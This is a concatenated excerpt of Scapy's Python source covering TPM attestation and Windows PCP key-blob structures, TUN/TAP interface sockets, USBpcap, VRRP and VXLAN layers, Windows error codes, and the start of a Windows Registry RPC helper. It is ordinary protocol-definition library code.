TPM2B_NAME), PacketField("extraData", TPM2B_DATA(), TPM2B_DATA), PacketField("clockInfo", TPMS_CLOCK_INFO(), TPMS_CLOCK_INFO), LongField("firmwareVersion", 0), MultipleTypeField( [ # TPMU_ATTEST ( PacketField("attested", TPMS_CERTIFY_INFO(), TPMS_CERTIFY_INFO), lambda pkt: pkt.type == 0x8017, # TPM_ST_ATTEST_CERTIFY ), ( PacketField("attested", TPMS_CREATION_INFO(), TPMS_CREATION_INFO), lambda pkt: pkt.type == 0x801A, # TPM_ST_ATTEST_CREATION ), ], StrField("attested", b""), ), ] class TPM2B_ATTEST(_Packet): fields_desc = [ ShortField("size", 0), PacketLenField( "attestationData", TPMS_ATTEST(), TPMS_ATTEST, length_from=lambda pkt: pkt.size, ), ] class TPM2B_PUBLIC_KEY_RSA(_Packet): fields_desc = [ ShortField("size", 0), StrFixedLenField("buffer", b"", length=MAX_RSA_KEY_BYTES), ] class TPMS_SIGNATURE_RSASSA(_Packet): fields_desc = [ ShortEnumField("hash", 0, TPM_ALG), PacketField("sig", TPM2B_PUBLIC_KEY_RSA(), TPM2B_PUBLIC_KEY_RSA), ] class TPMS_SIGNATURE_RSAPSS(_Packet): fields_desc = [ ShortEnumField("hash", 0, TPM_ALG), PacketField("sig", TPM2B_PUBLIC_KEY_RSA(), TPM2B_PUBLIC_KEY_RSA), ] class TPMT_SIGNATURE(_Packet): fields_desc = [ ShortEnumField("sigAlg", 0, TPM_ALG), MultipleTypeField( [ # TPMU_SIGNATURE ( PacketField( "signature", TPMS_SIGNATURE_RSASSA(), TPMS_SIGNATURE_RSASSA ), lambda pkt: pkt.sigAlg == 0x0014, # RSASSA ), ( PacketField( "signature", TPMS_SIGNATURE_RSAPSS(), TPMS_SIGNATURE_RSAPSS ), lambda pkt: pkt.sigAlg == 0x0016, # RSASSA ), ], StrField("signature", b""), ), ] # From "Using the Windows 8 Platform PCP" documentation # https://github.com/Microsoft/TSS.MSR/blob/main/PCPTool.v11/inc/TpmAtt.h # NCRYPT_PCP_TPM12_IDBINDING class PCP_IDBinding20(Packet): fields_desc = [ PacketField("PublicKey", TPM2B_PUBLIC(), TPM2B_PUBLIC), PacketField("CreationData", TPM2B_CREATION_DATA(), TPM2B_CREATION_DATA), PacketField("Attest", TPM2B_ATTEST(), TPM2B_ATTEST), PacketField("Signature", TPMT_SIGNATURE(), TPMT_SIGNATURE), ] _PCP_TYPE = { 1: "TPM 1.2", 2: "TPM 2.0", } class PCP_KEY_BLOB(Packet): fields_desc = [ StrFixedLenField("Magic", b"PCPM", length=4), LEIntField("cbHeader", 0), LEIntEnumField("pcpType", 1, _PCP_TYPE), FlagsField( "flags", 0, -32, { 0x00000001: "authRequired", 0x00000002: "undocumented2", }, ), LEIntField("cbTpmKey", 0), StrLenField( "tpmKey", b"", length_from=lambda pkt: pkt.cbTpmKey, ), ] class PCP_20_KEY_BLOB(Packet): fields_desc = [ StrFixedLenField("Magic", b"PCPM", length=4), LEIntField("cbHeader", 0), LEIntEnumField("pcpType", 2, _PCP_TYPE), FlagsField( "flags", 0, -32, { 0x00000001: "authRequired", 0x00000002: "undocumented2", }, ), LEIntField("cbPublic", 0), LEIntField("cbPrivate", 0), LEIntField("cbMigrationPublic", 0), LEIntField("cbMigrationPrivate", 0), LEIntField("cbPolicyDigestList", 0), LEIntField("cbPCRBinding", 0), LEIntField("cbPCRDigest", 0), LEIntField("cbEncryptedSecret", 0), LEIntField("cbTpm12HostageBlob", 0), LEIntField("pcrAlgId", 0), PacketLenField( "public", TPM2B_PUBLIC(), TPM2B_PUBLIC, length_from=lambda pkt: pkt.cbPublic, ), PacketLenField( "private", TPM2B_PRIVATE(), TPM2B_PRIVATE, length_from=lambda pkt: pkt.cbPrivate, ), PacketLenField( "migrationPublic", None, TPM2B_PUBLIC, length_from=lambda pkt: pkt.cbMigrationPublic, ), PacketLenField( "migrationPrivate", TPM2B_PRIVATE(), TPM2B_PRIVATE, length_from=lambda pkt: pkt.cbMigrationPrivate, ), PacketLenField( "policyDigestList", TPML_DIGEST(), TPML_DIGEST, length_from=lambda pkt: pkt.cbPolicyDigestList, ), StrLenField( "pcrBinding", b"", length_from=lambda pkt: pkt.cbPCRBinding, ), StrLenField( "pcrDigest", b"", length_from=lambda pkt: pkt.cbPCRDigest, ), StrLenField( "encryptedSecret", b"", length_from=lambda pkt: pkt.cbEncryptedSecret, ), StrLenField( "tpm12HostageBlob", b"", length_from=lambda pkt: pkt.cbTpm12HostageBlob, ), ] ########################### # Microsoft Windows # ########################### # [MS-WCCE] sect 2.2.2.5 class KeyAttestation(Packet): fields_desc = [ StrFixedLenField("Magic", b"KADS", length=4), LEIntEnumField("Platform", 2, _PCP_TYPE), LEIntField("HeaderSize", 0), LEIntField("cbKeyAttest", 0), LEIntField("cbSignature", 0), LEIntField("cbKeyBlob", 0), MultipleTypeField( [ ( PacketLenField( "keyAttest", TPMS_ATTEST(), TPMS_ATTEST, length_from=lambda pkt: pkt.cbKeyAttest, ), lambda pkt: pkt.Platform == 2, ) ], StrLenField( "keyAttest", b"", length_from=lambda pkt: pkt.cbKeyAttest, ), ), StrLenField( "signature", b"", length_from=lambda pkt: pkt.cbSignature, ), MultipleTypeField( [ ( PacketLenField( "keyBlob", PCP_20_KEY_BLOB(), PCP_20_KEY_BLOB, length_from=lambda pkt: pkt.cbKeyBlob, ), lambda pkt: pkt.Platform == 2, ), ( PacketLenField( "keyBlob", PCP_KEY_BLOB(), PCP_KEY_BLOB, length_from=lambda pkt: pkt.cbKeyBlob, ), lambda pkt: pkt.Platform == 1, ), ], StrLenField( "keyBlob", b"", length_from=lambda pkt: pkt.cbKeyBlob, ), ), ] def default_payload_class(self, payload): return conf.padding_layer class KeyAttestationStatement(Packet): fields_desc = [ StrFixedLenField("Magic", b"KAST", length=4), LEIntField("Version", 1), LEIntEnumField("Platform", 2, _PCP_TYPE), LEIntField("HeaderSize", 0), LEIntField("cbIdBinding", 0), LEIntField("cbKeyAttestation", 0), LEIntField("cbAIKOpaque", 0), MultipleTypeField( [ ( PacketLenField( "idBinding", PCP_IDBinding20(), PCP_IDBinding20, length_from=lambda pkt: pkt.cbIdBinding, ), lambda pkt: pkt.Platform == 2, ) ], StrLenField( "idBinding", b"", length_from=lambda pkt: pkt.cbIdBinding, ), ), PacketLenField( "keyAttestation", KeyAttestation(), KeyAttestation, length_from=lambda pkt: pkt.cbKeyAttestation, ), MultipleTypeField( [ ( PacketLenField( "aikOpaque", PCP_20_KEY_BLOB(), PCP_20_KEY_BLOB, length_from=lambda pkt: pkt.cbAIKOpaque, ), lambda pkt: pkt.Platform == 2, ), ( PacketLenField( "aikOpaque", PCP_KEY_BLOB(), PCP_KEY_BLOB, length_from=lambda pkt: pkt.cbAIKOpaque, ), lambda pkt: pkt.Platform == 1, ), ], StrLenField( "aikOpaque", b"", length_from=lambda pkt: pkt.cbAIKOpaque, ), ), ] ================================================ FILE: scapy/layers/tuntap.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Michael Farrell """ Implementation of TUN/TAP interfaces. These allow Scapy to act as the remote side of a virtual network interface. """ import socket import time from fcntl import ioctl from scapy.compat import bytes_encode, raw from scapy.config import conf from scapy.consts import BIG_ENDIAN, BSD, DARWIN, LINUX from scapy.data import ETHER_TYPES, MTU from scapy.error import log_runtime, warning from scapy.fields import ( BitField, Field, FlagsField, IntField, StrFixedLenField, XShortEnumField, ) from scapy.interfaces import network_name from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6, IPv46 from scapy.layers.l2 import Ether from scapy.packet import Packet, bind_layers from scapy.supersocket import SimpleSocket # Linux-specific defines (/usr/include/linux/if_tun.h) LINUX_TUNSETIFF = 0x400454ca LINUX_IFF_TUN = 0x0001 LINUX_IFF_TAP = 0x0002 LINUX_IFF_NO_PI = 0x1000 LINUX_IFNAMSIZ = 16 # Darwin-specific defines (net/if_utun.h and sys/kern_control.h) DARWIN_CTLIOCGINFO = 0xc0644e03 DARWIN_UTUN_CONTROL_NAME = b"com.apple.net.utun_control" DARWIN_MAX_KCTL_NAME = 96 class NativeShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "@H") class TunPacketInfo(Packet): aliastypes = [Ether] class LinuxTunIfReq(Packet): """ Structure to request a specific device name for a tun/tap Linux ``struct ifreq``. See linux/if.h (struct ifreq) and tuntap.txt for reference. """ fields_desc = [ # union ifr_ifrn StrFixedLenField("ifrn_name", b"", 16), # union ifr_ifru NativeShortField("ifru_flags", 0), ] class DarwinUtunIfReq(Packet): """ Structure for issuing Darwin ioctl commands (``struct ctl_info``). See net/if_utun.h and sys/kern_control.h for reference. """ fields_desc = [ BitField("ctl_id", 0, -32), StrFixedLenField("ctl_name", DARWIN_UTUN_CONTROL_NAME, DARWIN_MAX_KCTL_NAME) ] class LinuxTunPacketInfo(TunPacketInfo): """ Base for TUN packets. See linux/if_tun.h (struct tun_pi) for reference. """ fields_desc = [ # This is native byte order FlagsField("flags", 0, (lambda _: 16 if BIG_ENDIAN else -16), ["TUN_VNET_HDR"] + ["reserved%d" % x for x in range(1, 16)]), # This is always network byte order XShortEnumField("type", 0x9000, ETHER_TYPES), ] class DarwinUtunPacketInfo(Packet): fields_desc = [ IntField("addr_family", socket.AF_INET) ] class TunTapInterface(SimpleSocket): """ A socket to act as the host's peer of a tun / tap interface. This implements kernel interfaces for tun and tap devices. :param iface: The name of the interface to use, eg: 'tun0' :param mode_tun: If True, create as TUN interface (layer 3). If False, creates a TAP interface (layer 2). If not supplied, attempts to detect from the ``iface`` name. :type mode_tun: bool :param strip_packet_info: If True (default), strips any TunPacketInfo from the packet. If False, leaves it in tact. Some operating systems and tunnel types don't include this sort of data. :type strip_packet_info: bool FreeBSD references: * tap(4): https://www.freebsd.org/cgi/man.cgi?query=tap&sektion=4 * tun(4): https://www.freebsd.org/cgi/man.cgi?query=tun&sektion=4 Linux references: * https://www.kernel.org/doc/Documentation/networking/tuntap.txt """ desc = "Act as the host's peer of a tun / tap interface" def __init__(self, iface=None, mode_tun=None, default_read_size=MTU, strip_packet_info=True, *args, **kwargs): self.iface = bytes_encode( network_name(conf.iface) if iface is None else iface ) self.mode_tun = mode_tun if self.mode_tun is None: if self.iface.startswith(b"tun") or self.iface.startswith(b"utun"): self.mode_tun = True elif self.iface.startswith(b"tap"): self.mode_tun = False else: raise ValueError( "Could not determine interface type for %r; set " "`mode_tun` explicitly." % (self.iface,)) self.strip_packet_info = bool(strip_packet_info) # This is non-zero when there is some kernel-specific packet info. # We add this to any MTU value passed to recv(), and use it to # remove leading bytes when strip_packet_info=True. self.mtu_overhead = 0 # The TUN packet specification sends raw IP at us, and doesn't specify # which version. self.kernel_packet_class = IPv46 if self.mode_tun else Ether if LINUX: devname = b"/dev/net/tun" # Having an EtherType always helps on Linux, then we don't need # to use auto-detection of IP version. if self.mode_tun: self.kernel_packet_class = LinuxTunPacketInfo self.mtu_overhead = 4 # len(LinuxTunPacketInfo) else: warning("tap devices on Linux do not include packet info!") self.strip_packet_info = True if len(self.iface) > LINUX_IFNAMSIZ: warning("Linux interface names are limited to %d bytes, " "truncating!" % (LINUX_IFNAMSIZ,)) self.iface = self.iface[:LINUX_IFNAMSIZ] sock = open(devname, "r+b", buffering=0) elif BSD: # also DARWIN if self.iface.startswith(b"utun"): # allowed for Darwin if not DARWIN: raise ValueError('`utun` iface prefix is only allowed for Darwin') self.kernel_packet_class = DarwinUtunPacketInfo self.mtu_overhead = 4 interface_num = int(self.iface[4:]) utun_socket = socket.socket( socket.PF_SYSTEM, socket.SOCK_DGRAM, socket.SYSPROTO_CONTROL) ctl_info = ioctl(utun_socket, DARWIN_CTLIOCGINFO, raw(DarwinUtunIfReq())) utun_socket.connect( (DarwinUtunIfReq(ctl_info).getfieldval("ctl_id"), interface_num + 1) ) sock = utun_socket.makefile(mode="rwb", buffering=0) elif self.iface.startswith(b"tap") or self.iface.startswith(b"tun"): devname = b"/dev/" + self.iface if not self.strip_packet_info: warning("tun/tap devices on BSD and Darwin never include " "packet info!") self.strip_packet_info = True sock = open(devname, "r+b", buffering=0) else: raise ValueError("Interface names must start with `tun` or " "`tap` on BSD and Darwin or `utun` on Darwin") else: raise NotImplementedError("TunTapInterface is not supported on " "this platform!") if LINUX: if self.mode_tun: flags = LINUX_IFF_TUN else: # Linux can send us LinuxTunPacketInfo for TAP interfaces, but # the kernel sends the wrong information! # # Instead of type=1 (Ether), it sends that of the payload # (eg: 0x800 for IPv4 or 0x86dd for IPv6). # # tap interfaces always send Ether frames, which include a # type parameter for the IPv4/v6/etc. payload, so we set # IFF_NO_PI. flags = LINUX_IFF_TAP | LINUX_IFF_NO_PI tsetiff = raw(LinuxTunIfReq( ifrn_name=self.iface, ifru_flags=flags)) ioctl(sock, LINUX_TUNSETIFF, tsetiff) self.closed = False self.default_read_size = default_read_size super(TunTapInterface, self).__init__(sock) def __call__(self, *arg, **karg): """Needed when using an instantiated TunTapInterface object for conf.L2listen, conf.L2socket or conf.L3socket. """ return self def recv_raw(self, x=None): if x is None: x = self.default_read_size x += self.mtu_overhead dat = self.ins.read(x) r = self.kernel_packet_class, dat, time.time() if self.mtu_overhead > 0 and self.strip_packet_info: # Get the packed class of the payload, without triggering a full # decode of the payload data. cls = r[0](r[1][:self.mtu_overhead]).guess_payload_class(b'') # Return the payload data only return cls, r[1][self.mtu_overhead:], r[2] else: return r def send(self, x): # type: (Packet) -> int if hasattr(x, "sent_time"): x.sent_time = time.time() if self.kernel_packet_class == IPv46: # IPv46 is an auto-detection wrapper; we should just push through # packets normally if we got IP or IPv6. if not isinstance(x, (IP, IPv6)): x = IP() / x elif not isinstance(x, self.kernel_packet_class): x = self.kernel_packet_class() / x sx = raw(x) try: r = self.outs.write(sx) self.outs.flush() return r except socket.error: log_runtime.error("%s send", self.__class__.__name__, exc_info=True) # Bindings # bind_layers(DarwinUtunPacketInfo, IP, addr_family=socket.AF_INET) bind_layers(DarwinUtunPacketInfo, IPv6, addr_family=socket.AF_INET6) ================================================ FILE: scapy/layers/usb.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Default USB frames & Basic implementation """ # TODO: support USB headers for Linux and Darwin (usbmon/netmon) # https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-usb.c # noqa: E501 from scapy.config import conf from scapy.compat import chb from scapy.data import DLT_USBPCAP from scapy.fields import ByteField, XByteField, ByteEnumField, LEShortField, \ LEShortEnumField, LEIntField, LEIntEnumField, XLELongField, \ LenField from scapy.packet import Packet, bind_top_down # USBpcap _usbd_status_codes = { 0x00000000: "Success", 0x40000000: "Pending", 0xC0000000: "Halted", 0x80000000: "Error" } _transfer_types = { 0x0: "Isochronous", 0x1: "Interrupt", 0x2: "Control" } # From https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-usb.c # noqa: E501 _urb_functions = { 0x0008: "URB_FUNCTION_CONTROL_TRANSFER", 0x0009: "URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER", 0x000A: "URB_FUNCTION_ISOCH_TRANSFER", 0x000B: "URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE", 0x000C: "URB_FUNCTION_SET_DESCRIPTOR_TO_DEVICE", 0x000D: "URB_FUNCTION_SET_FEATURE_TO_DEVICE", 0x000E: "URB_FUNCTION_SET_FEATURE_TO_INTERFACE", 0x000F: "URB_FUNCTION_SET_FEATURE_TO_ENDPOINT", 0x0010: "URB_FUNCTION_CLEAR_FEATURE_TO_DEVICE", 0x0011: "URB_FUNCTION_CLEAR_FEATURE_TO_INTERFACE", 0x0012: "URB_FUNCTION_CLEAR_FEATURE_TO_ENDPOINT", 0x0013: "URB_FUNCTION_GET_STATUS_FROM_DEVICE", 0x0014: "URB_FUNCTION_GET_STATUS_FROM_INTERFACE", 0x0015: "URB_FUNCTION_GET_STATUS_FROM_ENDPOINT", 0x0017: "URB_FUNCTION_VENDOR_DEVICE", 0x0018: "URB_FUNCTION_VENDOR_INTERFACE", 0x0019: "URB_FUNCTION_VENDOR_ENDPOINT", 0x001A: "URB_FUNCTION_CLASS_DEVICE", 0x001B: "URB_FUNCTION_CLASS_INTERFACE", 0x001C: "URB_FUNCTION_CLASS_ENDPOINT", 0x001F: "URB_FUNCTION_CLASS_OTHER", 0x0020: "URB_FUNCTION_VENDOR_OTHER", 0x0021: "URB_FUNCTION_GET_STATUS_FROM_OTHER", 0x0022: "URB_FUNCTION_CLEAR_FEATURE_TO_OTHER", 0x0023: "URB_FUNCTION_SET_FEATURE_TO_OTHER", 0x0024: "URB_FUNCTION_GET_DESCRIPTOR_FROM_ENDPOINT", 0x0025: "URB_FUNCTION_SET_DESCRIPTOR_TO_ENDPOINT", 0x0026: "URB_FUNCTION_GET_CONFIGURATION", 0x0027: "URB_FUNCTION_GET_INTERFACE", 0x0028: "URB_FUNCTION_GET_DESCRIPTOR_FROM_INTERFACE", 0x0029: "URB_FUNCTION_SET_DESCRIPTOR_TO_INTERFACE", 0x002A: "URB_FUNCTION_GET_MS_FEATURE_DESCRIPTOR", 0x0032: "URB_FUNCTION_CONTROL_TRANSFER_EX", 0x0037: "URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER_USING_CHAINED_MDL", 0x0002: "URB_FUNCTION_ABORT_PIPE", 0x001E: "URB_FUNCTION_SYNC_RESET_PIPE_AND_CLEAR_STALL", 0x0030: "URB_FUNCTION_SYNC_RESET_PIPE", 0x0031: "URB_FUNCTION_SYNC_CLEAR_STALL", } class USBpcap(Packet): name = "USBpcap URB" fields_desc = [ByteField("headerLen", None), ByteField("res", 0), XLELongField("irpId", 0), LEIntEnumField("usbd_status", 0x0, _usbd_status_codes), LEShortEnumField("function", 0, _urb_functions), XByteField("info", 0), LEShortField("bus", 0), LEShortField("device", 0), XByteField("endpoint", 0), ByteEnumField("transfer", 0, _transfer_types), LenField("dataLength", None, fmt=" # Copyright (C) 6WIND """ VRRP (Virtual Router Redundancy Protocol). """ from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteField, FieldLenField, FieldListField, \ IPField, IP6Field, IntField, MultipleTypeField, StrField, XShortField from scapy.compat import chb, orb from scapy.layers.inet import IP, in4_chksum, checksum from scapy.layers.inet6 import IPv6, in6_chksum from scapy.error import warning IPPROTO_VRRP = 112 # RFC 3768 - Virtual Router Redundancy Protocol (VRRP) class VRRP(Packet): fields_desc = [ BitField("version", 2, 4), BitField("type", 1, 4), ByteField("vrid", 1), ByteField("priority", 100), FieldLenField("ipcount", None, count_of="addrlist", fmt="B"), ByteField("authtype", 0), ByteField("adv", 1), XShortField("chksum", None), FieldListField("addrlist", [], IPField("", "0.0.0.0"), count_from=lambda pkt: pkt.ipcount), IntField("auth1", 0), IntField("auth2", 0)] def post_build(self, p, pay): if self.chksum is None: ck = checksum(p) p = p[:6] + chb(ck >> 8) + chb(ck & 0xff) + p[8:] return p @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 9: ver_n_type = orb(_pkt[0]) if ver_n_type >= 48 and ver_n_type <= 57: # Version == 3 return VRRPv3 return VRRP # RFC 5798 - Virtual Router Redundancy Protocol (VRRP) Version 3 class VRRPv3(Packet): fields_desc = [ BitField("version", 3, 4), BitField("type", 1, 4), ByteField("vrid", 1), ByteField("priority", 100), FieldLenField("ipcount", None, count_of="addrlist", fmt="B"), BitField("res", 0, 4), BitField("adv", 100, 12), XShortField("chksum", None), MultipleTypeField( [ (FieldListField("addrlist", [], IPField("", "0.0.0.0"), count_from=lambda pkt: pkt.ipcount), lambda p: isinstance(p.underlayer, IP)), (FieldListField("addrlist", [], IP6Field("", "::"), count_from=lambda pkt: pkt.ipcount), lambda p: isinstance(p.underlayer, IPv6)), ], StrField("addrlist", "") ) ] def post_build(self, p, pay): if self.chksum is None: if isinstance(self.underlayer, IP): ck = in4_chksum(112, self.underlayer, p) elif isinstance(self.underlayer, IPv6): ck = in6_chksum(112, self.underlayer, p) else: warning("No IP(v6) layer to compute checksum on VRRP. " "Leaving null") ck = 0 p = p[:6] + chb(ck >> 8) + chb(ck & 0xff) + p[8:] return p @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 16: ver_n_type = orb(_pkt[0]) if ver_n_type < 48 or ver_n_type > 57: # Version != 3 return VRRP return VRRPv3 # IPv6 is supported only on VRRPv3 # Warning: those layers need to be un-binded in the CARP contrib module. # If you add/remove any, remember to also edit the one in CARP.py bind_layers(IP, VRRP, proto=IPPROTO_VRRP) bind_layers(IP, VRRPv3, proto=IPPROTO_VRRP) bind_layers(IPv6, VRRPv3, nh=IPPROTO_VRRP) ================================================ FILE: scapy/layers/vxlan.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Virtual eXtensible Local Area Network (VXLAN) - RFC 7348 - A Framework for Overlaying Virtualized Layer 2 Networks over Layer 3 Networks http://tools.ietf.org/html/rfc7348 https://www.ietf.org/id/draft-ietf-nvo3-vxlan-gpe-02.txt VXLAN Group Policy Option: http://tools.ietf.org/html/draft-smith-vxlan-group-policy-00 """ from scapy.packet import Packet, bind_layers, bind_bottom_up, bind_top_down from scapy.layers.l2 import Ether from scapy.layers.inet import IP, UDP from scapy.layers.inet6 import IPv6 from scapy.fields import FlagsField, XByteField, ThreeBytesField, \ ConditionalField, ShortField, ByteEnumField, X3BytesField _GP_FLAGS = ["R", "R", "R", "A", "R", "R", "D", "R"] class VXLAN(Packet): name = "VXLAN" fields_desc = [ FlagsField("flags", 0x8, 8, ['OAM', 'R', 'NextProtocol', 'Instance', 'V1', 'V2', 'R', 'G']), ConditionalField( ShortField("reserved0", 0), lambda pkt: pkt.flags.NextProtocol, ), ConditionalField( ByteEnumField('NextProtocol', 0, {0: 'NotDefined', 1: 'IPv4', 2: 'IPv6', 3: 'Ethernet', 4: 'NSH'}), lambda pkt: pkt.flags.NextProtocol, ), ConditionalField( ThreeBytesField("reserved1", 0), lambda pkt: (not pkt.flags.G) and (not pkt.flags.NextProtocol), ), ConditionalField( FlagsField("gpflags", 0, 8, _GP_FLAGS), lambda pkt: pkt.flags.G, ), ConditionalField( ShortField("gpid", 0), lambda pkt: pkt.flags.G, ), X3BytesField("vni", 0), XByteField("reserved2", 0), ] # Use default linux implementation port overload_fields = { UDP: {'dport': 8472}, } def mysummary(self): if self.flags.G: return self.sprintf("VXLAN (vni=%VXLAN.vni% gpid=%VXLAN.gpid%)") else: return self.sprintf("VXLAN (vni=%VXLAN.vni%)") bind_layers(UDP, VXLAN, dport=4789) # RFC standard vxlan port bind_layers(UDP, VXLAN, dport=4790) # RFC standard vxlan-gpe port bind_layers(UDP, VXLAN, dport=6633) # New IANA assigned port for use with NSH bind_layers(UDP, VXLAN, dport=8472) # Linux implementation port bind_layers(UDP, VXLAN, dport=48879) # Cisco ACI bind_layers(UDP, VXLAN, sport=4789) bind_layers(UDP, VXLAN, sport=4790) bind_layers(UDP, VXLAN, sport=6633) bind_layers(UDP, VXLAN, sport=8472) # By default, set both ports to the RFC standard bind_layers(UDP, VXLAN, sport=4789, dport=4789) # Dissection bind_bottom_up(VXLAN, Ether, NextProtocol=0) bind_bottom_up(VXLAN, IP, NextProtocol=1) bind_bottom_up(VXLAN, IPv6, NextProtocol=2) bind_bottom_up(VXLAN, Ether, NextProtocol=3) bind_bottom_up(VXLAN, Ether, NextProtocol=None) # Build bind_top_down(VXLAN, Ether, flags=12, NextProtocol=0) bind_top_down(VXLAN, IP, flags=12, NextProtocol=1) bind_top_down(VXLAN, IPv6, flags=12, NextProtocol=2) bind_top_down(VXLAN, Ether, flags=12, NextProtocol=3) ================================================ FILE: scapy/layers/windows/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ This package implements Windows-specific high level helpers. It makes it easier to use Scapy Windows related objects. It currently contains helpers for the Windows Registry. Note that if you want to tweak specific fields of the underlying protocols, you will have to use the lower level objects directly. """ # Make sure config is loaded from scapy.config import conf # noqa: F401 ================================================ FILE: scapy/layers/windows/erref.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ [MS-ERREF] error codes """ # SMB2 sect 3.3.5.15 + [MS-ERREF] STATUS_ERREF = { 0x00000000: "STATUS_SUCCESS", 0x00000002: "ERROR_FILE_NOT_FOUND", 0x00000003: "ERROR_PATH_NOT_FOUND", 0x00000005: "ERROR_ACCESS_DENIED", 0x00000006: "ERROR_INVALID_HANDLE", 0x00000011: "ERROR_NOT_SAME_DEVICE", 0x00000013: "ERROR_WRITE_PROTECT", 0x00000057: "ERROR_INVALID_PARAMETER", 0xC000006A: "STATUS_WRONG_PASSWORD", 0x0000007A: "ERROR_INSUFFICIENT_BUFFER", 0x0000007B: "ERROR_INVALID_NAME", 0x000000A1: "ERROR_BAD_PATHNAME", 0x000000B7: "ERROR_ALREADY_EXISTS", 0x000000EA: "ERROR_MORE_DATA", 0x00000103: "STATUS_PENDING", 0x0000010B: "STATUS_NOTIFY_CLEANUP", 0x0000010C: "STATUS_NOTIFY_ENUM_DIR", 0x000003E6: "ERROR_NOACCESS", 0x00000532: "ERROR_PASSWORD_EXPIRED", 0x00000533: "ERROR_ACCOUNT_DISABLED", 0x000006F7: "ERROR_SUBKEY_NOT_FOUND", 0x000006FE: "ERROR_TRUST_FAILURE", 0x80000005: "STATUS_BUFFER_OVERFLOW", 0x80000006: "STATUS_NO_MORE_FILES", 0x8000002D: "STATUS_STOPPED_ON_SYMLINK", 0x80070005: "E_ACCESSDENIED", 0x8007000E: "E_OUTOFMEMORY", 0x80090308: "SEC_E_INVALID_TOKEN", 0x8009030C: "SEC_E_LOGON_DENIED", 0x8009030F: "SEC_E_MESSAGE_ALTERED", 0x80090310: "SEC_E_OUT_OF_SEQUENCE", 0x80090346: "SEC_E_BAD_BINDINGS", 0x80090351: "SEC_E_SMARTCARD_CERT_REVOKED", 0xC0000003: "STATUS_INVALID_INFO_CLASS", 0xC0000004: "STATUS_INFO_LENGTH_MISMATCH", 0xC000000D: "STATUS_INVALID_PARAMETER", 0xC000000F: "STATUS_NO_SUCH_FILE", 0xC0000016: "STATUS_MORE_PROCESSING_REQUIRED", 0xC0000022: "STATUS_ACCESS_DENIED", 0xC0000033: "STATUS_OBJECT_NAME_INVALID", 0xC0000034: "STATUS_OBJECT_NAME_NOT_FOUND", 0xC0000043: "STATUS_SHARING_VIOLATION", 0xC0000061: "STATUS_PRIVILEGE_NOT_HELD", 0xC0000064: "STATUS_NO_SUCH_USER", 0xC000006D: "STATUS_LOGON_FAILURE", 0xC000006E: "STATUS_ACCOUNT_RESTRICTION", 0xC0000070: "STATUS_INVALID_WORKSTATION", 0xC0000071: "STATUS_PASSWORD_EXPIRED", 0xC0000072: "STATUS_ACCOUNT_DISABLED", 0xC000009A: "STATUS_INSUFFICIENT_RESOURCES", 0xC00000BA: "STATUS_FILE_IS_A_DIRECTORY", 0xC00000BB: "STATUS_NOT_SUPPORTED", 0xC00000C9: "STATUS_NETWORK_NAME_DELETED", 0xC00000CC: "STATUS_BAD_NETWORK_NAME", 0xC0000120: "STATUS_CANCELLED", 0xC0000122: "STATUS_INVALID_COMPUTER_NAME", 0xC0000128: "STATUS_FILE_CLOSED", # backup error for older Win versions 0xC000015B: "STATUS_LOGON_TYPE_NOT_GRANTED", 0xC000018B: "STATUS_NO_TRUST_SAM_ACCOUNT", 0xC000019C: "STATUS_FS_DRIVER_REQUIRED", 0xC0000203: "STATUS_USER_SESSION_DELETED", 0xC000020C: "STATUS_CONNECTION_DISCONNECTED", 0xC0000225: "STATUS_NOT_FOUND", 0xC0000257: "STATUS_PATH_NOT_COVERED", 0xC000035C: "STATUS_NETWORK_SESSION_EXPIRED", } ================================================ FILE: scapy/layers/windows/registry.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) github.com/Ebrix """ Windows Registry RPCs This file provides high-level wrapping over Windows Registry related RPCs. (scapy.layers.msrpce.raw.ms_rrp) """ import struct from enum import IntEnum, IntFlag from typing import Optional, Union, List from scapy.compat import StrEnum from scapy.packet import Packet from scapy.error import log_runtime from scapy.layers.windows.security import ( SECURITY_DESCRIPTOR, ) from scapy.layers.msrpce.rpcclient import DCERPC_Client from scapy.layers.dcerpc import ( NDRConformantArray, NDRPointer, NDRVaryingArray, DCERPC_Transport, DCE_C_AUTHN_LEVEL, find_dcerpc_interface, ) from scapy.layers.msrpce.raw.ms_rrp import ( BaseRegCloseKey_Request, BaseRegCreateKey_Request, BaseRegDeleteKey_Request, BaseRegDeleteValue_Request, BaseRegEnumKey_Request, BaseRegEnumValue_Request, BaseRegGetKeySecurity_Request, BaseRegGetVersion_Request, BaseRegOpenKey_Request, BaseRegQueryInfoKey_Request, BaseRegQueryInfoKey_Response, BaseRegQueryValue_Request, BaseRegSaveKey_Request, BaseRegSetValue_Request, NDRContextHandle, OpenClassesRoot_Request, OpenCurrentConfig_Request, OpenCurrentUser_Request, OpenLocalMachine_Request, OpenPerformanceData_Request, OpenPerformanceNlsText_Request, OpenPerformanceText_Request, OpenUsers_Request, PRPC_SECURITY_ATTRIBUTES, PRPC_SECURITY_DESCRIPTOR, RPC_UNICODE_STRING, ) class RootKeys(StrEnum): """ Standard root keys for the Windows registry """ HKEY_CLASSES_ROOT = "HKCR" HKEY_CURRENT_USER = "HKCU" HKEY_LOCAL_MACHINE = "HKLM" 